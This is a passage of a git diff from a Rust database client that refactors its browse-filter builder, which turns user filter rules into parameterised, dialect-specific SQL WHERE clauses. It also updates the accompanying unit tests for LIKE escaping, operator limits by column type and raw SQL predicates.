None, + dynamic_storage: false, + read_form: ReadForm::Native, + } + } + + fn time(fractional_digits: Option) -> ColumnKind { + ColumnKind::Time { + fractional_digits, + with_offset: false, + range: TimeRange::TimeOfDay, + } + } + + fn stamp(fractional_digits: Option, zone: TemporalZone) -> ColumnKind { + ColumnKind::Timestamp { + fractional_digits, + zone, + } + } + + fn decimal(precision: u32, scale: u32) -> ColumnKind { + ColumnKind::Decimal { + precision: Some(precision), + scale: Some(scale), + } } fn date(year: i32, month: u32, day: u32) -> Value { @@ -293,7 +315,7 @@ mod tests { #[test] fn a_timestamp_keeps_the_microseconds_its_column_declares() { - let column = typed("timestamp(6)", ColumnKind::Timestamp); + let column = typed("timestamp(6)", stamp(Some(6), TemporalZone::Naive)); let stamp = Value::Timestamp(Temporal::Finite( NaiveDate::from_ymd_opt(2024, 6, 15) .expect("a date") @@ -312,15 +334,15 @@ mod tests { let value = Value::Time(SqlTime::new(false, 12, 0, 0, 123_456_000).expect("a time")); assert_eq!( - value_text(&value, &typed("time(3)", ColumnKind::Time)).as_deref(), + value_text(&value, &typed("time(3)", time(Some(3)))).as_deref(), Some("12:00:00.123") ); assert_eq!( - value_text(&value, &typed("time(0)", ColumnKind::Time)).as_deref(), + value_text(&value, &typed("time(0)", time(Some(0)))).as_deref(), Some("12:00:00") ); assert_eq!( - value_text(&value, &typed("time", ColumnKind::Time)).as_deref(), + value_text(&value, &typed("time", time(None))).as_deref(), Some("12:00:00.123456"), "a column with no declared precision kept the value's own fraction" ); @@ -328,7 +350,7 @@ mod tests { #[test] fn a_timestamp_with_a_zone_keeps_its_offset() { - let column = typed("timestamptz(3)", ColumnKind::Timestamp); + let column = typed("timestamptz(3)", stamp(Some(3), TemporalZone::Offset)); let stamp = chrono::DateTime::parse_from_rfc3339("2024-06-15T12:00:00.5+05:30").expect("a timestamp"); let value = Value::TimestampTz(Temporal::Finite(crate::value::OffsetTimestamp::from_datetime(stamp))); @@ -340,7 +362,7 @@ mod tests { #[test] fn a_decimal_fills_out_the_scale_its_column_declares() { - let column = typed("numeric(38,10)", ColumnKind::Decimal); + let column = typed("numeric(38,10)", decimal(38, 10)); assert_eq!( value_text(&Value::Decimal("1".parse().expect("a decimal")), &column).as_deref(), @@ -354,7 +376,7 @@ mod tests { #[test] fn a_decimal_wider_than_its_column_keeps_every_digit() { - let column = typed("numeric(10,2)", ColumnKind::Decimal); + let column = typed("numeric(10,2)", decimal(10, 2)); let value = Value::Decimal("1.23456".parse().expect("a decimal")); assert_eq!( diff --git a/linux/crates/core/src/filter.rs b/linux/crates/core/src/filter.rs deleted file mode 100644 index 95ab3d7272..0000000000 --- a/linux/crates/core/src/filter.rs +++ /dev/null @@ -1,594 +0,0 @@ -//! The per-table WHERE clause the browse filter builds. -//! -//! The dialog hands over a `FilterSet` and `build_filter` turns it -//! into SQL through the connection's own dialect. Every value the user -//! typed is parsed against the column's type and bound, so a filter is -//! a comparison rather than a string spliced into the query. -//! -//! Rules join under one top-level combinator. Nested groups are out of -//! scope: a user who needs a boolean tree has the SQL editor. - -use serde::{Deserialize, Serialize}; -use thiserror::Error; - -/// One operator in a filter rule. Operator names are user-visible in -/// the dialog (the dropdown labels live next to this enum in the UI -/// layer) but the SQL each one emits is locked here. -#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] -#[serde(rename_all = "snake_case")] -pub enum FilterOp { - Eq, - NotEq, - Lt, - LtEq, - Gt, - GtEq, - /// `LIKE '%value%'` — wildcards added by the builder so the user - /// can type plain text without escaping. - Contains, - /// `LIKE 'value%'`. - StartsWith, - /// `LIKE '%value'`. - EndsWith, - /// Raw `LIKE` — user supplies their own `%` / `_`. - Like, - NotLike, - /// Postgres `ILIKE`; falls back to plain `LIKE` on MySQL / SQLite - /// where collation typically already case-insensitives ASCII. - Ilike, - IsNull, - IsNotNull, - /// Value is `FilterValue::List`; one placeholder per element. - In, - NotIn, - /// Value is `FilterValue::Pair(lo, hi)`; emits `BETWEEN lo AND hi`. - Between, -} - -#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] -#[serde(tag = "kind", content = "value", rename_all = "snake_case")] -pub enum FilterValue { - Single(String), - Pair(String, String), - List(Vec), -} - -#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] -pub struct FilterRule { - pub column: String, - pub op: FilterOp, - /// `None` for `IsNull` / `IsNotNull`; required for everything else. - #[serde(default, skip_serializing_if = "Option::is_none")] - pub value: Option, -} - -#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)] -#[serde(rename_all = "snake_case")] -pub enum Combinator { - #[default] - And, - Or, -} - -#[derive(Debug, Clone, PartialEq, Eq, Default, Serialize, Deserialize)] -pub struct FilterSet { - #[serde(default)] - pub combinator: Combinator, - #[serde(default)] - pub rules: Vec, - /// Raw SQL fragment appended after the structured rules with the - /// configured combinator. Lets the user reach for expressions the - /// rule editor doesn't model — `LENGTH(name) > 10`, - /// `created_at::date = CURRENT_DATE`, JSON `@>` containment, etc. - /// Emitted verbatim with no quoting / parameterisation. There is - /// no SQL-injection boundary here: the user already has the - /// connection (they can drop tables via the SQL editor); raw - /// filter is a power feature, not an untrusted-input vector. - #[serde(default, skip_serializing_if = "Option::is_none")] - pub extra_sql: Option, -} - -impl FilterSet { - /// Empty when there are no rules AND no raw SQL fragment. The - /// caller (fetch_browse_page) skips WHERE entirely in this case. - pub fn is_empty(&self) -> bool { - self.rules.is_empty() && extra_is_blank(self.extra_sql.as_deref()) - } - pub fn len(&self) -> usize { - self.rules.len() + usize::from(!extra_is_blank(self.extra_sql.as_deref())) - } -} - -fn extra_is_blank(extra: Option<&str>) -> bool { - extra.map(|s| s.trim().is_empty()).unwrap_or(true) -} - -#[derive(Debug, Error)] -pub enum BuildFilterError { - #[error("filter rule references unknown column: {0}")] - UnknownColumn(String), - #[error("rule on column {column}: {message}")] - InvalidValue { column: String, message: String }, - #[error("operator {0:?} requires a value")] - MissingValue(FilterOp), - #[error("BETWEEN requires both bounds")] - BetweenMissingBound, - #[error("IN list cannot be empty")] - EmptyInList, - #[error("operator {op:?} cannot use the supplied value shape")] - WrongValueShape { op: FilterOp }, - #[error("rule on column {column}: {source}")] - Parse { - column: String, - #[source] - source: crate::edit::EditParseError, - }, - #[error(transparent)] - Bind(#[from] crate::dialect::BindError), - #[error("operator {op:?} does not apply to column {column}")] - OperatorNotAllowed { column: String, op: FilterOp }, -} - -fn require_single(rule: &FilterRule) -> Result<&String, BuildFilterError> { - match rule.value.as_ref() { - Some(FilterValue::Single(s)) => Ok(s), - Some(_) => Err(BuildFilterError::WrongValueShape { op: rule.op }), - None => Err(BuildFilterError::MissingValue(rule.op)), - } -} - -fn require_pair(rule: &FilterRule) -> Result<(&String, &String), BuildFilterError> { - match rule.value.as_ref() { - Some(FilterValue::Pair(a, b)) => { - if a.trim().is_empty() || b.trim().is_empty() { - return Err(BuildFilterError::BetweenMissingBound); - } - Ok((a, b)) - } - Some(_) => Err(BuildFilterError::WrongValueShape { op: rule.op }), - None => Err(BuildFilterError::MissingValue(rule.op)), - } -} - -fn require_list(rule: &FilterRule) -> Result<&Vec, BuildFilterError> { - match rule.value.as_ref() { - Some(FilterValue::List(l)) => Ok(l), - Some(_) => Err(BuildFilterError::WrongValueShape { op: rule.op }), - None => Err(BuildFilterError::MissingValue(rule.op)), - } -} - -// --------------------------------------------------------------- -// Dialect-driven filter building (contract v2). -// --------------------------------------------------------------- - -/// Which operators make sense for a column, in the order the dropdown -/// lists them. -/// -/// Driven by the column's kind rather than its type name, so a new -/// engine spelling never needs a new branch here. A binary column gets -/// only the null tests: there is no text form of a blob to compare. -pub fn operators_for(kind: crate::column::ColumnKind) -> &'static [FilterOp] { - use crate::column::ColumnKind; - - const NULL_ONLY: &[FilterOp] = &[FilterOp::IsNull, FilterOp::IsNotNull]; - const COMPARISON: &[FilterOp] = &[ - FilterOp::Eq, - FilterOp::NotEq, - FilterOp::Lt, - FilterOp::LtEq, - FilterOp::Gt, - FilterOp::GtEq, - FilterOp::Between, - FilterOp::In, - FilterOp::NotIn, - FilterOp::IsNull, - FilterOp::IsNotNull, - ]; - const TEXTUAL: &[FilterOp] = &[ - FilterOp::Eq, - FilterOp::NotEq, - FilterOp::Contains, - FilterOp::StartsWith, - FilterOp::EndsWith, - FilterOp::Like, - FilterOp::NotLike, - FilterOp::Ilike, - FilterOp::In, - FilterOp::NotIn, - FilterOp::IsNull, - FilterOp::IsNotNull, - ]; - const EQUALITY: &[FilterOp] = &[ - FilterOp::Eq, - FilterOp::NotEq, - FilterOp::In, - FilterOp::NotIn, - FilterOp::IsNull, - FilterOp::IsNotNull, - ]; - - match kind { - ColumnKind::Binary | ColumnKind::Array | ColumnKind::Geometry => NULL_ONLY, - ColumnKind::Text(_) | ColumnKind::Json | ColumnKind::Enumeration | ColumnKind::Set | ColumnKind::Other => { - TEXTUAL - } - // An interval is ordered, so it compares rather than matching - // as text. - ColumnKind::Integer(_) - | ColumnKind::Decimal - | ColumnKind::Float(_) - | ColumnKind::Date - | ColumnKind::Time - | ColumnKind::Timestamp - | ColumnKind::Interval => COMPARISON, - ColumnKind::Boolean | ColumnKind::Uuid | ColumnKind::BitString | ColumnKind::Network => EQUALITY, - } -} - -/// The WHERE clause for a filter set, and the parameters it binds. -/// -/// `None` means there is nothing to filter by, so the caller leaves the -/// keyword out entirely. Every value the user typed is bound; only -/// `extra_sql`, which the user wrote as SQL on purpose, is appended -/// verbatim. -pub fn build_filter( - dialect: &dyn crate::dialect::SqlDialect, - columns: &[crate::column::ColumnInfo], - filter: &FilterSet, - first_ordinal: usize, -) -> Result)>, BuildFilterError> { - if filter.is_empty() { - return Ok(None); - } - - let mut clauses = Vec::with_capacity(filter.len()); - let mut params = Vec::new(); - for rule in &filter.rules { - let column = columns - .iter() - .find(|column| column.name == rule.column) - .ok_or_else(|| BuildFilterError::UnknownColumn(rule.column.clone()))?; - if !operators_for(column.column_type.kind()).contains(&rule.op) { - return Err(BuildFilterError::OperatorNotAllowed { - column: rule.column.clone(), - op: rule.op, - }); - } - clauses.push(rule_sql(dialect, column, rule, first_ordinal, &mut params)?); - } - if let Some(extra) = filter.extra_sql.as_deref().map(str::trim).filter(|sql| !sql.is_empty()) { - clauses.push(format!("({extra})")); - } - - let joiner = match filter.combinator { - Combinator::And => " AND ", - Combinator::Or => " OR ", - }; - Ok(Some((clauses.join(joiner), params))) -} - -fn rule_sql( - dialect: &dyn crate::dialect::SqlDialect, - column: &crate::column::ColumnInfo, - rule: &FilterRule, - first_ordinal: usize, - params: &mut Vec, -) -> Result { - use crate::dialect::LikeForm; - - let column_sql = dialect.quote_identifier(&column.name); - match rule.op { - // A null test has no value to bind, so it never takes a marker. - FilterOp::IsNull => return Ok(format!("{column_sql} IS NULL")), - FilterOp::IsNotNull => return Ok(format!("{column_sql} IS NOT NULL")), - _ => {} - } - - match rule.op { - FilterOp::Eq | FilterOp::NotEq | FilterOp::Lt | FilterOp::LtEq | FilterOp::Gt | FilterOp::GtEq => { - let text = require_single(rule)?; - let marker = bind_typed(dialect, column, text, first_ordinal, params)?; - Ok(format!("{column_sql} {} {marker}", comparison_operator(rule.op))) - } - FilterOp::Contains | FilterOp::StartsWith | FilterOp::EndsWith => { - let text = require_single(rule)?; - // The app is building the pattern, so what the user typed - // is data: a search for "50%" must not match everything. - let escaped = dialect.escape_like_text(text); - let pattern = match rule.op { - FilterOp::Contains => format!("%{escaped}%"), - FilterOp::StartsWith => format!("{escaped}%"), - _ => format!("%{escaped}"), - }; - let marker = bind_pattern(dialect, pattern, first_ordinal, params)?; - Ok(dialect.like_predicate(&column_sql, &marker, LikeForm::contains())) - } - FilterOp::Like | FilterOp::NotLike => { - // The user typed the wildcards, so they stay. - let marker = bind_pattern(dialect, require_single(rule)?.clone(), first_ordinal, params)?; - let form = LikeForm::raw(rule.op == FilterOp::NotLike); - Ok(dialect.like_predicate(&column_sql, &marker, form)) - } - FilterOp::Ilike => { - let marker = bind_pattern(dialect, require_single(rule)?.clone(), first_ordinal, params)?; - Ok(dialect.like_predicate(&column_sql, &marker, LikeForm::insensitive(false))) - } - FilterOp::In | FilterOp::NotIn => { - let list = require_list(rule)?; - if list.is_empty() { - return Err(BuildFilterError::EmptyInList); - } - let mut markers = Vec::with_capacity(list.len()); - for text in list { - markers.push(bind_typed(dialect, column, text, first_ordinal, params)?); - } - let keyword = match rule.op { - FilterOp::In => "IN", - _ => "NOT IN", - }; - Ok(format!("{column_sql} {keyword} ({})", markers.join(", "))) - } - FilterOp::Between => { - let (low, high) = require_pair(rule)?; - if low.trim().is_empty() || high.trim().is_empty() { - return Err(BuildFilterError::BetweenMissingBound); - } - let low = bind_typed(dialect, column, low, first_ordinal, params)?; - let high = bind_typed(dialect, column, high, first_ordinal, params)?; - Ok(format!("{column_sql} BETWEEN {low} AND {high}")) - } - FilterOp::IsNull | FilterOp::IsNotNull => unreachable!("handled above"), - } -} - -fn comparison_operator(op: FilterOp) -> &'static str { - match op { - FilterOp::Eq => "=", - FilterOp::NotEq => "<>", - FilterOp::Lt => "<", - FilterOp::LtEq => "<=", - FilterOp::Gt => ">", - _ => ">=", - } -} - -/// Bind text as the column's own type, so a number compares as a -/// number rather than as its decimal spelling. -fn bind_typed( - dialect: &dyn crate::dialect::SqlDialect, - column: &crate::column::ColumnInfo, - text: &str, - first_ordinal: usize, - params: &mut Vec, -) -> Result { - let value = - crate::edit::parse_filter_text(text, &column.column_type).map_err(|source| BuildFilterError::Parse { - column: column.name.clone(), - source, - })?; - let placeholder = dialect.placeholder( - first_ordinal + params.len(), - value, - crate::dialect::BindTarget::Column(column), - )?; - if let Some(param) = placeholder.param { - params.push(param); - } - Ok(placeholder.sql) -} - -fn bind_pattern( - dialect: &dyn crate::dialect::SqlDialect, - pattern: String, - first_ordinal: usize, - params: &mut Vec, -) -> Result { - let placeholder = dialect.placeholder( - first_ordinal + params.len(), - crate::value::Value::Text(pattern), - crate::dialect::BindTarget::Pattern, - )?; - if let Some(param) = placeholder.param { - params.push(param); - } - Ok(placeholder.sql) -} - -#[cfg(test)] -mod dialect_filter_tests { - use crate::column::{ - CatalogType, ColumnDefault, ColumnInfo, ColumnKind, ColumnType, IntegerKind, ReadForm, SqlTypeExpr, TextKind, - }; - use crate::dialect::TestDialect; - use crate::value::Value; - - use super::*; - - fn column(name: &str, kind: ColumnKind) -> ColumnInfo { - ColumnInfo { - name: name.to_owned(), - column_type: ColumnType::new( - SqlTypeExpr::from_catalog_text("t"), - kind, - CatalogType::Unknown, - false, - ReadForm::Native, - ), - nullable: true, - primary_key: false, - is_auto_increment: false, - is_generated: false, - default: ColumnDefault::None, - comment: None, - } - } - - fn columns() -> Vec { - vec![ - column("name", ColumnKind::Text(TextKind::Variable)), - column("age", ColumnKind::Integer(IntegerKind::I32)), - column("photo", ColumnKind::Binary), - ] - } - - fn rule(column: &str, op: FilterOp, value: Option) -> FilterSet { - FilterSet { - combinator: Combinator::And, - rules: vec![FilterRule { - column: column.to_owned(), - op, - value, - }], - extra_sql: None, - } - } - - fn single(column: &str, op: FilterOp, text: &str) -> FilterSet { - rule(column, op, Some(FilterValue::Single(text.to_owned()))) - } - - fn build(set: &FilterSet) -> Result)>, BuildFilterError> { - build_filter(&TestDialect::exact(), &columns(), set, 1) - } - - #[test] - fn build_filter_skips_where_for_empty_set() { - assert!(build(&FilterSet::default()).expect("an empty set").is_none()); - } - - #[test] - fn contains_escapes_through_dialect() { - let (sql, params) = build(&single("name", FilterOp::Contains, "50%")) - .expect("the filter") - .expect("a clause"); - - assert_eq!(sql, r#""name" LIKE $1 ESCAPE '\'"#); - assert_eq!( - params[0].value(), - &Value::Text(r"%50\%%".to_owned()), - "the user's percent was treated as a wildcard" - ); - } - - #[test] - fn like_is_raw_and_unescaped() { - let (sql, params) = build(&single("name", FilterOp::Like, "a%b")) - .expect("the filter") - .expect("a clause"); - - assert_eq!(sql, r#""name" LIKE $1"#, "a user-typed pattern got an ESCAPE clause"); - assert_eq!(params[0].value(), &Value::Text("a%b".to_owned())); - } - - #[test] - fn ilike_uses_insensitive_form() { - let (sql, _) = build(&single("name", FilterOp::Ilike, "abc")) - .expect("the filter") - .expect("a clause"); - - assert_eq!(sql, r#""name" ILIKE $1"#); - } - - #[test] - fn in_list_marker_per_element() { - let set = rule( - "age", - FilterOp::In, - Some(FilterValue::List(vec!["1".to_owned(), "2".to_owned(), "3".to_owned()])), - ); - - let (sql, params) = build(&set).expect("the filter").expect("a clause"); - - assert_eq!(sql, r#""age" IN ($1, $2, $3)"#); - assert_eq!(params.len(), 3); - assert_eq!(params[2].value(), &Value::Int(3)); - } - - #[test] - fn an_empty_in_list_is_an_error() { - let set = rule("age", FilterOp::In, Some(FilterValue::List(Vec::new()))); - - assert!(matches!( - build(&set).expect_err("an empty list"), - BuildFilterError::EmptyInList - )); - } - - #[test] - fn between_rejects_blank_bound() { - let set = rule( - "age", - FilterOp::Between, - Some(FilterValue::Pair("1".to_owned(), " ".to_owned())), - ); - - assert!(matches!( - build(&set).expect_err("a blank bound"), - BuildFilterError::BetweenMissingBound - )); - } - - #[test] - fn operator_not_allowed_for_bytes() { - let error = build(&single("photo", FilterOp::Contains, "ff")).expect_err("text search on a blob"); - - assert!( - matches!(error, BuildFilterError::OperatorNotAllowed { .. }), - "{error:?}" - ); - // The null tests still apply, because a blob can be absent. - assert!(build(&rule("photo", FilterOp::IsNull, None)).is_ok()); - } - - #[test] - fn operators_for_interval_are_comparison_not_text() { - let interval = operators_for(ColumnKind::Interval); - - assert!(interval.contains(&FilterOp::Between), "{interval:?}"); - assert!(interval.contains(&FilterOp::Lt), "{interval:?}"); - assert!(!interval.contains(&FilterOp::Contains), "{interval:?}"); - } - - #[test] - fn a_value_that_is_not_of_the_columns_type_is_reported_before_the_server_sees_it() { - let error = build(&single("age", FilterOp::Eq, "seven")).expect_err("text in a number column"); - - assert!(matches!(error, BuildFilterError::Parse { .. }), "{error:?}"); - } - - #[test] - fn a_null_test_binds_nothing() { - let (sql, params) = build(&rule("name", FilterOp::IsNull, None)) - .expect("the filter") - .expect("a clause"); - - assert_eq!(sql, r#""name" IS NULL"#); - assert!(params.is_empty(), "a null test bound a parameter"); - } - - #[test] - fn raw_sql_is_joined_with_the_rules_and_never_bound() { - let set = FilterSet { - combinator: Combinator::Or, - rules: vec![FilterRule { - column: "age".to_owned(), - op: FilterOp::Gt, - value: Some(FilterValue::Single("18".to_owned())), - }], - extra_sql: Some("length(name) > 3".to_owned()), - }; - - let (sql, params) = build(&set).expect("the filter").expect("a clause"); - - assert_eq!(sql, r#""age" > $1 OR (length(name) > 3)"#); - assert_eq!(params.len(), 1); - } - - #[test] - fn a_rule_on_a_column_the_table_lost_is_an_error() { - let error = build(&single("gone", FilterOp::Eq, "1")).expect_err("a missing column"); - - assert!(matches!(error, BuildFilterError::UnknownColumn(_)), "{error:?}"); - } -} diff --git a/linux/crates/core/src/filter/build_filter.rs b/linux/crates/core/src/filter/build_filter.rs new file mode 100644 index 0000000000..7953786f29 --- /dev/null +++ b/linux/crates/core/src/filter/build_filter.rs @@ -0,0 +1,448 @@ +use crate::column::ColumnInfo; +use crate::dialect::{BindTarget, LikeForm, SqlDialect}; +use crate::edit::parse_filter_text; +use crate::statement::StatementBuilder; +use crate::value::Value; + +use super::{ + BuildFilterError, Combinator, FilterOp, FilterRule, FilterSet, FilterValue, operators_for, validate_raw_predicate, +}; + +/// Write the predicate for a filter set into `builder`. +/// +/// Returns whether anything was written, so the caller knows whether a +/// WHERE belongs in front of it. Every value the user typed is parsed +/// as the column's type and bound; only the raw SQL predicate, which +/// the user wrote as SQL on purpose, is written verbatim, and only once +/// it parses as one expression. On an error the builder holds part of +/// the predicate and should be dropped. +pub fn build_filter( + builder: &mut StatementBuilder, + dialect: &dyn SqlDialect, + columns: &[ColumnInfo], + filter: &FilterSet, +) -> Result { + if filter.is_empty() { + return Ok(false); + } + let raw = filter.raw_predicate(); + if let Some(raw) = raw { + validate_raw_predicate(dialect, raw).map_err(BuildFilterError::RawPredicate)?; + } + + let mut clauses = Vec::with_capacity(filter.len()); + for rule in &filter.rules { + let column = columns + .iter() + .find(|column| column.name == rule.column) + .ok_or_else(|| BuildFilterError::UnknownColumn(rule.column.clone()))?; + if !operators_for(&column.column_type.kind).contains(&rule.op) { + return Err(BuildFilterError::OperatorNotAllowed { + column: rule.column.clone(), + op: rule.op, + }); + } + clauses.push(rule_sql(builder, dialect, column, rule)?); + } + if let Some(raw) = raw { + clauses.push(format!("({raw})")); + } + + let joiner = match filter.combinator { + Combinator::And => " AND ", + Combinator::Or => " OR ", + }; + builder.push_sql(&clauses.join(joiner)); + Ok(true) +} + +fn rule_sql( + builder: &mut StatementBuilder, + dialect: &dyn SqlDialect, + column: &ColumnInfo, + rule: &FilterRule, +) -> Result { + let column_sql = dialect.quote_identifier(&column.name); + let text_sql = dialect.text_operand(column).unwrap_or_else(|| column_sql.clone()); + let equality_as_text = dialect.equality_as_text(column); + match rule.op { + // A null test has no value to bind, so it never takes a marker. + FilterOp::IsNull => Ok(format!("{column_sql} IS NULL")), + FilterOp::IsNotNull => Ok(format!("{column_sql} IS NOT NULL")), + FilterOp::Eq | FilterOp::NotEq if equality_as_text => { + let marker = bind_text(builder, dialect, require_single(rule)?)?; + Ok(format!("{text_sql} {} {marker}", comparison_operator(rule.op))) + } + FilterOp::Eq | FilterOp::NotEq | FilterOp::Lt | FilterOp::LtEq | FilterOp::Gt | FilterOp::GtEq => { + let marker = bind_typed(builder, dialect, column, require_single(rule)?)?; + Ok(format!("{column_sql} {} {marker}", comparison_operator(rule.op))) + } + FilterOp::Contains | FilterOp::StartsWith | FilterOp::EndsWith => { + // The app is building the pattern, so what the user typed + // is data: a search for "50%" must not match everything. + let escaped = dialect.escape_like_text(require_single(rule)?); + let pattern = match rule.op { + FilterOp::Contains => format!("%{escaped}%"), + FilterOp::StartsWith => format!("{escaped}%"), + _ => format!("%{escaped}"), + }; + let marker = builder.bind(dialect, Value::Text(pattern), BindTarget::Pattern)?; + Ok(dialect.like_predicate(&text_sql, &marker, LikeForm::contains())) + } + FilterOp::Like | FilterOp::NotLike => { + // The user typed the wildcards, so they stay. + let pattern = Value::Text(require_single(rule)?.clone()); + let marker = builder.bind(dialect, pattern, BindTarget::Pattern)?; + let form = LikeForm::raw(rule.op == FilterOp::NotLike); + Ok(dialect.like_predicate(&text_sql, &marker, form)) + } + FilterOp::Ilike => { + let pattern = Value::Text(require_single(rule)?.clone()); + let marker = builder.bind(dialect, pattern, BindTarget::Pattern)?; + Ok(dialect.like_predicate(&text_sql, &marker, LikeForm::insensitive(false))) + } + FilterOp::In | FilterOp::NotIn => { + let list = require_list(rule)?; + if list.is_empty() { + return Err(BuildFilterError::EmptyInList); + } + let markers = list + .iter() + .map(|text| match equality_as_text { + true => bind_text(builder, dialect, text), + false => bind_typed(builder, dialect, column, text), + }) + .collect::, _>>()?; + let keyword = match rule.op { + FilterOp::In => "IN", + _ => "NOT IN", + }; + let operand = match equality_as_text { + true => &text_sql, + false => &column_sql, + }; + Ok(format!("{operand} {keyword} ({})", markers.join(", "))) + } + FilterOp::Between => { + let (low, high) = require_pair(rule)?; + let low = bind_typed(builder, dialect, column, low)?; + let high = bind_typed(builder, dialect, column, high)?; + Ok(format!("{column_sql} BETWEEN {low} AND {high}")) + } + } +} + +fn comparison_operator(op: FilterOp) -> &'static str { + match op { + FilterOp::Eq => "=", + FilterOp::NotEq => "<>", + FilterOp::Lt => "<", + FilterOp::LtEq => "<=", + FilterOp::Gt => ">", + _ => ">=", + } +} + +/// Bind text as the column's own type, so a number compares as a +/// number rather than as its decimal spelling. +fn bind_typed( + builder: &mut StatementBuilder, + dialect: &dyn SqlDialect, + column: &ColumnInfo, + text: &str, +) -> Result { + let value = parse_filter_text(text, &column.column_type).map_err(|source| BuildFilterError::Parse { + column: column.name.clone(), + source, + })?; + Ok(builder.bind(dialect, value, BindTarget::Column(column))?) +} + +/// Text the user typed, bound as text to compare with `text_operand`. +fn bind_text(builder: &mut StatementBuilder, dialect: &dyn SqlDialect, text: &str) -> Result { + Ok(builder.bind(dialect, Value::Text(text.to_owned()), BindTarget::Pattern)?) +} + +fn require_single(rule: &FilterRule) -> Result<&String, BuildFilterError> { + match rule.value.as_ref() { + Some(FilterValue::Single(text)) => Ok(text), + Some(_) => Err(BuildFilterError::WrongValueShape { op: rule.op }), + None => Err(BuildFilterError::MissingValue(rule.op)), + } +} + +fn require_pair(rule: &FilterRule) -> Result<(&String, &String), BuildFilterError> { + match rule.value.as_ref() { + Some(FilterValue::Pair(low, high)) if low.trim().is_empty() || high.trim().is_empty() => { + Err(BuildFilterError::BetweenMissingBound) + } + Some(FilterValue::Pair(low, high)) => Ok((low, high)), + Some(_) => Err(BuildFilterError::WrongValueShape { op: rule.op }), + None => Err(BuildFilterError::MissingValue(rule.op)), + } +} + +fn require_list(rule: &FilterRule) -> Result<&Vec, BuildFilterError> { + match rule.value.as_ref() { + Some(FilterValue::List(list)) => Ok(list), + Some(_) => Err(BuildFilterError::WrongValueShape { op: rule.op }), + None => Err(BuildFilterError::MissingValue(rule.op)), + } +} + +#[cfg(test)] +mod tests { + use crate::column::{ + ColumnDefault, ColumnInfo, ColumnKind, ColumnType, IntegerKind, IntegerWidth, ReadForm, TextLength, + }; + use crate::dialect::{TestDialect, TestMarkers}; + use crate::statement::Statement; + + use super::*; + + fn column(name: &str, kind: ColumnKind) -> ColumnInfo { + ColumnInfo { + name: name.to_owned(), + column_type: ColumnType { + name: "t".to_owned(), + kind, + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + fn columns() -> Vec { + vec![ + column( + "name", + ColumnKind::Text { + length: TextLength::Varying(50), + }, + ), + column( + "age", + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + }), + ), + column( + "photo", + ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + ), + ] + } + + fn rule(column: &str, op: FilterOp, value: Option) -> FilterSet { + FilterSet { + combinator: Combinator::And, + rules: vec![FilterRule { + column: column.to_owned(), + op, + value, + }], + extra_sql: None, + } + } + + fn single(column: &str, op: FilterOp, text: &str) -> FilterSet { + rule(column, op, Some(FilterValue::Single(text.to_owned()))) + } + + fn build_with(dialect: &TestDialect, set: &FilterSet) -> Result, BuildFilterError> { + let mut builder = StatementBuilder::new(); + let wrote = build_filter(&mut builder, dialect, &columns(), set)?; + Ok(wrote.then(|| builder.finish())) + } + + fn build(set: &FilterSet) -> Result, BuildFilterError> { + build_with(&TestDialect::exact(), set) + } + + fn built(set: &FilterSet) -> Statement { + match build(set) { + Ok(Some(statement)) => statement, + other => panic!("expected a predicate, got {other:?}"), + } + } + + #[test] + fn build_filter_skips_where_for_empty_set() { + let mut builder = StatementBuilder::new(); + + let wrote = + build_filter(&mut builder, &TestDialect::exact(), &columns(), &FilterSet::default()).expect("an empty set"); + + assert!(!wrote); + assert_eq!(builder.finish().sql(), "", "an empty filter wrote SQL"); + } + + #[test] + fn contains_escapes_through_dialect() { + let statement = built(&single("name", FilterOp::Contains, "50%")); + + assert_eq!(statement.sql(), r#""name" LIKE $1 ESCAPE '!'"#); + assert_eq!( + statement.params()[0].value(), + &Value::Text("%50!%%".to_owned()), + "the user's percent was treated as a wildcard" + ); + } + + #[test] + fn like_is_raw_and_unescaped() { + let statement = built(&single("name", FilterOp::Like, "a%b")); + + assert_eq!( + statement.sql(), + r#""name" LIKE $1"#, + "a user-typed pattern got an ESCAPE clause" + ); + assert_eq!(statement.params()[0].value(), &Value::Text("a%b".to_owned())); + } + + #[test] + fn ilike_uses_insensitive_form() { + let statement = built(&single("name", FilterOp::Ilike, "abc")); + + assert_eq!(statement.sql(), r#""name" ILIKE $1"#); + } + + #[test] + fn in_list_marker_per_element() { + let set = rule( + "age", + FilterOp::In, + Some(FilterValue::List(vec!["1".to_owned(), "2".to_owned(), "3".to_owned()])), + ); + + let statement = built(&set); + + assert_eq!(statement.sql(), r#""age" IN ($1, $2, $3)"#); + assert_eq!(statement.params().len(), 3); + assert_eq!(statement.params()[2].value(), &Value::Int(3)); + } + + #[test] + fn an_empty_in_list_is_an_error() { + let set = rule("age", FilterOp::In, Some(FilterValue::List(Vec::new()))); + + assert_eq!(build(&set).expect_err("an empty list"), BuildFilterError::EmptyInList); + } + + #[test] + fn between_rejects_blank_bound() { + let set = rule( + "age", + FilterOp::Between, + Some(FilterValue::Pair("1".to_owned(), " ".to_owned())), + ); + + assert_eq!( + build(&set).expect_err("a blank bound"), + BuildFilterError::BetweenMissingBound + ); + } + + #[test] + fn operator_not_allowed_for_bytes() { + let error = build(&single("photo", FilterOp::Contains, "ff")).expect_err("text search on a blob"); + + assert!( + matches!(error, BuildFilterError::OperatorNotAllowed { .. }), + "{error:?}" + ); + // The null tests still apply, because a blob can be absent. + assert!(build(&rule("photo", FilterOp::IsNull, None)).is_ok()); + } + + #[test] + fn a_value_that_is_not_of_the_columns_type_is_reported_before_the_server_sees_it() { + let error = build(&single("age", FilterOp::Eq, "seven")).expect_err("text in a number column"); + + assert!(matches!(error, BuildFilterError::Parse { .. }), "{error:?}"); + } + + #[test] + fn a_null_test_binds_nothing() { + let statement = built(&rule("name", FilterOp::IsNull, None)); + + assert_eq!(statement.sql(), r#""name" IS NULL"#); + assert!(statement.params().is_empty(), "a null test bound a parameter"); + } + + #[test] + fn raw_sql_is_joined_with_the_rules_and_never_bound() { + let set = FilterSet { + combinator: Combinator::Or, + rules: vec![FilterRule { + column: "age".to_owned(), + op: 